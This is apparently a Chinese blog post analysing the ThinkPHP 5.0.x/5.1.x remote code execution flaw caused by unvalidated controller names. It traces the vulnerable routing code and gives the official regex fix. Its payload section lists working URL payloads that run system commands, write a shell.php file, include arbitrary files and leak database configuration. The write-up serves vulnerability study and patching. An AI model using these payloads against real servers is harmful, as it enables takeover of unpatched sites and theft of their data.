thinkphp5远程代码执行(代码片段)

H3rmesk1t H3rmesk1t     2022-12-22     136

关键词:

漏洞概要

  • 本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致远程代码执行漏洞的产生
  • 漏洞影响版本:
    5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30

初始配置

获取测试环境代码

composer create-project --prefer-dist topthink/think tpdemo

将 composer.json 文件的 require 字段设置成如下

"require": 
    "php": ">=5.6.0",
    "topthink/framework": "5.1.30"
,

然后执行 composer update

漏洞利用

Payload

5.1.x
?s=index/\\think\\Request/input&filter[]=system&data=pwd
?s=index/\\think\\view\\driver\\Php/display&content=<?php phpinfo();?>
?s=index/\\think\\template\\driver\\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x
?s=index/think\\config/get&name=database.username # 获取配置信息
?s=index/\\think\\Lang/load&file=../../test.jpg    # 包含任意文件
?s=index/\\think\\Config/load&file=../../t.php     # 包含任意.php文件
?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞分析

默认情况下安装的 ThinkPHP 是没有开启强制路由选项,而且默认开启路由兼容模式

没有开启强制路由说明可以使用路由兼容模式 s 参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器,那么可以试着利用 http://site/?s=模块/控制器/方法 来测试一下;在先前的 ThinkPHP SQL注入 分析文章中有提到所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 call_user_func ,那么来尝试利用这个方法

http://127.0.0.1/cms/public/?s=index/\\think\\Request/input&filter[]=phpinfo&data=1

查阅其 commit 记录,发现其增加了对控制器名的检测

跟进 thinkphp/library/think/route/dispatch/Module.php,在 $controller 代码段打下断点,可以看到控制器的名字是从 $result 中获取的,而 $result 的值来源于兼容模式下的 pathinfo ,即 s 参数


跟进 thinkphp/library/think/App.php,进入 App 类的 run 方法,进而调用 Dispatch 类的 run 方法,跟进 thinkphp/library/think/route/Dispatch.php,发现该方法会调用关键函数 exec


exec 函数中,程序利用反射机制,调用类的方法,这里的类、方法、参数均是可控的,而且整个过程并没有看到程序对控制器名的合法性进行检测,这也是导致远程代码执行漏洞的直接原因



以上是针对 ThinkPHP5.1.x 版本的漏洞分析,如果直接拿该版本的 payload 去测试 ThinkPHP5.0.x 版本,会发现很多 payload 都不能成功,其原因是两个大版本已加载的类不同,导致可利用的类也不尽相同

ThinkPHP 5.1.x                  ThinkPHP 5.0.x
stdClass                        stdClass 
Exception                       Exception 
ErrorException                  ErrorException 
Closure                         Closure 
Generator                       Generator 
DateTime                        DateTime 
DateTimeImmutable               DateTimeImmutable 
DateTimeZone                    DateTimeZone 
DateInterval                    DateInterval 
DatePeriod                      DatePeriod 
LibXMLError                     LibXMLError 
DOMException                    DOMException 
DOMStringList                   DOMStringList 
DOMNameList                     DOMNameList 
DOMImplementationList           DOMImplementationList 
DOMImplementationSource         DOMImplementationSource 
DOMImplementation               DOMImplementation 
DOMNode                         DOMNode 
DOMNameSpaceNode                DOMNameSpaceNode 
DOMDocumentFragment             DOMDocumentFragment 
DOMDocument                     DOMDocument 
DOMNodeList                     DOMNodeList 
DOMNamedNodeMap                 DOMNamedNodeMap 
DOMCharacterData                DOMCharacterData 
DOMAttr                         DOMAttr 
DOMElement                      DOMElement 
DOMText                         DOMText 
DOMComment                      DOMComment 
DOMTypeinfo                     DOMTypeinfo 
DOMUserDataHandler              DOMUserDataHandler 
DOMDomError                     DOMDomError 
DOMErrorHandler                 DOMErrorHandler 
DOMLocator                      DOMLocator 
DOMConfiguration                DOMConfiguration 
DOMCdataSection                 DOMCdataSection 
DOMDocumentType                 DOMDocumentType 
DOMNotation                     DOMNotation 
DOMEntity                       DOMEntity 
DOMEntityReference              DOMEntityReference 
DOMProcessingInstruction        DOMProcessingInstruction 
DOMStringExtend                 DOMStringExtend 
DOMXPath                        DOMXPath 
finfo                           finfo 
LogicException                  LogicException 
BadFunctionCallException        BadFunctionCallException 
BadMethodCallException          BadMethodCallException 
DomainException                 DomainException 
InvalidArgumentException        InvalidArgumentException 
LengthException                 LengthException 
OutOfRangeException             OutOfRangeException 
RuntimeException                RuntimeException 
OutOfBoundsException            OutOfBoundsException 
OverflowException               OverflowException 
RangeException                  RangeException 
UnderflowException              UnderflowException 
UnexpectedValueException        UnexpectedValueException 
RecursiveIteratorIterator       RecursiveIteratorIterator 
IteratorIterator                IteratorIterator 
FilterIterator                  FilterIterator 
RecursiveFilterIterator         RecursiveFilterIterator 
CallbackFilterIterator          CallbackFilterIterator 
RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator 
ParentIterator                  ParentIterator 
LimitIterator                   LimitIterator 
CachingIterator                 CachingIterator 
RecursiveCachingIterator        RecursiveCachingIterator 
NoRewindIterator                NoRewindIterator 
AppendIterator                  AppendIterator 
InfiniteIterator                InfiniteIterator 
RegexIterator                   RegexIterator 
RecursiveRegexIterator          RecursiveRegexIterator 
EmptyIterator                   EmptyIterator 
RecursiveTreeIterator           RecursiveTreeIterator 
ArrayObject                     ArrayObject 
ArrayIterator                   ArrayIterator 
RecursiveArrayIterator          RecursiveArrayIterator 
SplFileInfo                     SplFileInfo 
DirectoryIterator               DirectoryIterator 
FilesystemIterator              FilesystemIterator 
RecursiveDirectoryIterator      RecursiveDirectoryIterator 
GlobIterator                    GlobIterator 
SplFileObject                   SplFileObject 
SplTempFileObject               SplTempFileObject 
SplDoublyLinkedList             SplDoublyLinkedList 
SplQueue                        SplQueue 
SplStack                        SplStack 
SplHeap                         SplHeap 
SplMinHeap                      SplMinHeap 
SplMaxHeap                      SplMaxHeap 
SplPriorityQueue                SplPriorityQueue 
SplFixedArray                   SplFixedArray 
SplObjectStorage                SplObjectStorage 
MultipleIterator                MultipleIterator 
SessionHandler                  SessionHandler 
ReflectionException             ReflectionException 
Reflection                      Reflection 
ReflectionFunctionAbstract      ReflectionFunctionAbstract 
ReflectionFunction              ReflectionFunction 
ReflectionParameter             ReflectionParameter 
ReflectionMethod                ReflectionMethod 
ReflectionClass                 ReflectionClass 
ReflectionObject                ReflectionObject 
ReflectionProperty              ReflectionProperty 
ReflectionExtension             ReflectionExtension 
ReflectionZendExtension         ReflectionZendExtension 
__PHP_Incomplete_Class          __PHP_Incomplete_Class 
php_user_filter                 php_user_filter 
Directory                       Directory 
SimpleXMLElement                SimpleXMLElement 
SimpleXMLIterator               SimpleXMLIterator 
SoapClient                      SoapClient 
SoapVar                         SoapVar 
SoapServer                      SoapServer 
SoapFault                       SoapFault 
SoapParam                       SoapParam 
SoapHeader                      SoapHeader 
PharException                   PharException 
Phar                            Phar 
PharData                        PharData 
PharFileInfo                    PharFileInfo 
XMLReader                       XMLReader 
XMLWriter                       XMLWriter 
ZipArchive                      ZipArchive 
PDOException                    PDOException 
PDO                             PDO 
PDOStatement                    PDOStatement 
PDORow                          PDORow 
CURLFile                        CURLFile 
Collator                        Collator 
NumberFormatter                 NumberFormatter 
Normalizer                      Normalizer 
Locale                          Locale 
MessageFormatter                MessageFormatter 
IntlDateFormatter               IntlDateFormatter 
ResourceBundle                  ResourceBundle 
Transliterator                  Transliterator 
IntlTimeZone                    IntlTimeZone 
IntlCalendar                    IntlCalendar 
IntlGregorianCalendar           IntlGregorianCalendar 
Spoofchecker                    Spoofchecker 
IntlException                   IntlException 
IntlIterator                    IntlIterator 
IntlBreakIterator               IntlBreakIterator 
IntlRuleBasedBreakIterator      IntlRuleBasedBreakIterator 
IntlCodePointBreakIterator      IntlCodePointBreakIterator 
IntlPartsIterator               IntlPartsIterator 
UConverter                      UConverter 
JsonIncrementalParser           JsonIncrementalParser 
mysqli_sql_exception            mysqli_sql_exception 
mysqli_driver                   mysqli_driver 
mysqli                          mysqli 
mysqli_warning                  mysqli_warning 
mysqli_result                   mysqli_result 
mysqli_stmt                     mysqli_stmt 
Composer\\Autoload\\ComposerStaticInit81a0c33d33d83a86fdd976e2aff753d9            Composer\\Autoload\\ComposerStaticInit8a67cf04fc9c0db5b85a9d897c12a44c 
think\\Loader                    think\\Loader
think\\Error                     think\\Error 
think\\Container                 think\\Config 
think\\App                       think\\App 
think\\Env                       think\\Request 
think\\Config                    think\\Hook 
think\\Hook                      think\\Env 
think\\Facade                    think\\Lang 
think\\facade\\Env                think\\Log 
env                             think\\Route
think\\Db 
think\\Lang 
think\\Request 
think\\facade\\Route 
route 
think\\Route 
think\\route\\Rule 
think\\route\\RuleGroup 
think\\route\\Domain 
think\\route\\RuleItem 
think\\route\\RuleName 
think\\route\\Dispatch 
think\\route\\dispatch\\Url 
think\\route\\dispatch\\Module 
think\\Middleware 
think\\Cookie 
think\\View 
think\\view\\driver\\Think 
think\\Template 
think\\template\\driver\\File 
think\\Log 
think\\log\\driver\\File 
think\\Session 
think\\Debug 
think\\Cache 
think\\cache\\Driver 
think\\cache\\driver\\File 

漏洞修复

官方的修复方法是:增加正则表达式 ^[A-Za-z](\\w)*$ ,对控制器名进行合法性检测

攻击总结

参考Mochazz师傅的审计流程

thinkphp5.0.x远程代码执行(代码片段)

ThinkPHP5.0.x远程代码执行漏洞概要初始配置漏洞利用漏洞分析漏洞修复攻击总结漏洞概要本次漏洞存在于ThinkPHP的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在.php文件中,攻击者通过精心构造的payload,... 查看详情

thinkphp5.0.23远程代码执行漏洞(cve-2018-20062)漏洞复现(代码片段)

...洞复现(工具)修复建议摘抄免责声明漏洞名称ThinkPHP5.0.23远程代码执行漏洞漏洞编号CVE-2018-20062漏洞描述ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致... 查看详情

thinkphp5远程命令执行漏洞

一、ThinkPHP介绍轻量级框架,内部OOP和面向过程代码都存在,是国人自己开发的框架。ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,... 查看详情

thithinkphp5.x远程函数执行与sql注入(代码片段)

正文实验地址:ThinkPHP5.x远程函数执行与sql注入_安全龙-专注做企业网络安全服务与网络安全培训!(anquanlong.com)知识梳理:PoC,全称“ProofofConcept”,中文“概念验证”,常指一段漏洞证明的代码。Exp,全称... 查看详情

php-命令执行乱码的解决(thinkphp5)(代码片段)

文章目录前言一、问题二、解决前言在使用thinkphp的时候又双叒叕遇到了一个bug,在命令执行的时候回显中文信息会乱码软件开发中的乱码PHP:iconv-Manual一、问题有一个demo的操作用于命令执行并将命令执行后的结果传到demo视... 查看详情

thinkphp5.x命令执行漏洞复现及环境搭建(代码片段)

楼主Linux环境是Centos7,LAMP怎么搭不用我废话吧,别看错了1.安装composeryum-yinstallcomposer安装php拓展yum-yinstallphp-mysqlphp-gdlibjpeg*php-ldapphp-odbcphp-pearphp-xmlphp-xmlrpcphp-mbstringphp-bcmathphp-mhash-y 2.切换目录到/va 查看详情

网站有漏洞被***该怎么解决和修复

...到网站根目录,甚至直接提权到服务器,该漏洞影响版本ThinkPHP5.0、ThinkPHP5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、ThinkPHP5.0.23、thinkphp5.0.22版本。***者可以伪造远程恶意代码,对服务器进行post提交数据来利用漏洞,该漏洞产生的原因是... 查看详情

thinkphp-漏洞-汇总(代码片段)

ThinkPHP5.x远程命令执行Date2018年末影响范围5.x<5.1.31,<=5.0.23 Orderby注入漏洞Date2018.8影响范围v3<=ThinkPHP3.2.3v5<=5.1.22 查看详情

markdownpython多线程远程执行命令(代码片段)

查看详情

pythonpython的pickle远程代码执行有效负载模板。(代码片段)

查看详情

批量远程执行命令(代码片段)

批量远程执行命令在一台机器上远程到多台机器上执行多条命令,怎么实现呢?写一个登录到多台机器并执行命令的脚本文件remote-exec-command.shvim/usr/local/sbin/expect/remote-exec-command.sh#!/usr/bin/expectsethost[lindex$argv0]setcommand[lindex$argv1]set... 查看详情

远程代码执行漏洞(代码片段)

...P限制。ApacheAPISIX的默认配置(带有默认的API密钥)容易受到远程代码执行的攻击。当管理密钥更改或管理API端口更改为与数据面板不同的端口时,影响较小。但是,绕过ApacheAPISIX数据面板的IP限制仍然存在风险。在batch-reques... 查看详情

远程执行命令(代码片段)

一、需求#server下发命令#client执行命令#ssh协议#importos#ret=os.popen(‘ls‘).read()#print(ret)importsubprocess#内置模块和os模块的功能有相似之处#能执行操作系统的命令的功能ret=subprocess.Popen(‘dir‘,#要执行的命令shell=True,#表示要执行的是一... 查看详情

javajavassh远程执行命令并且获取执行的结果(代码片段)

文章目录1.概述1.概述因为部署到不同的环境,需要远程执行一些命令,然后获取一些信息。因此写了如下代码因为包<dependency><groupId>ch.ethz.ganymed</groupId> 查看详情

ssh远程执行命令(代码片段)

SSH是Linux下进行远程连接的基本工具,但是如果仅仅用它来登录那可是太浪费啦!SSH命令可是完成远程操作的神器啊,借助它我们可以把很多的远程操作自动化掉!下面就对SSH的远程操作功能进行一个小小的总结。远程执行命令... 查看详情

socket远程执行命令(代码片段)

两个脚本模拟远程执行命令cmd_server.pyimportsocketimportsubprocesssk=socket.socket()addess=(‘127.0.0.1‘,8000)sk.bind(addess)sk.listen(3)conn,addr=sk.accept()print(‘有客户端连接:‘,addr)data=conn.recv(1024)obj=subprocess. 查看详情

远程执行命令(代码片段)

服务器:#远程执行命令fromsocketimport*importsubprocessip_port=(‘127.0.0.1‘,8080)back_log=5buffer_size=1024tcp_server=socket(AF_INET,SOCK_STREAM)tcp_server.bind(ip_port)tcp_server.listen(back_log)whileTrue:conn, 查看详情

eos节点远程代码执行漏洞细节(代码片段)

这是一个缓冲区溢出越界写漏洞漏洞存在于在libraries/chain/webassembly/binaryen.cpp文件的78行,Functionbinaryen_runtime::instantiate_module:for(auto&segment:module->table.segments)Addressoffset=ConstantExpressionRunner&l 查看详情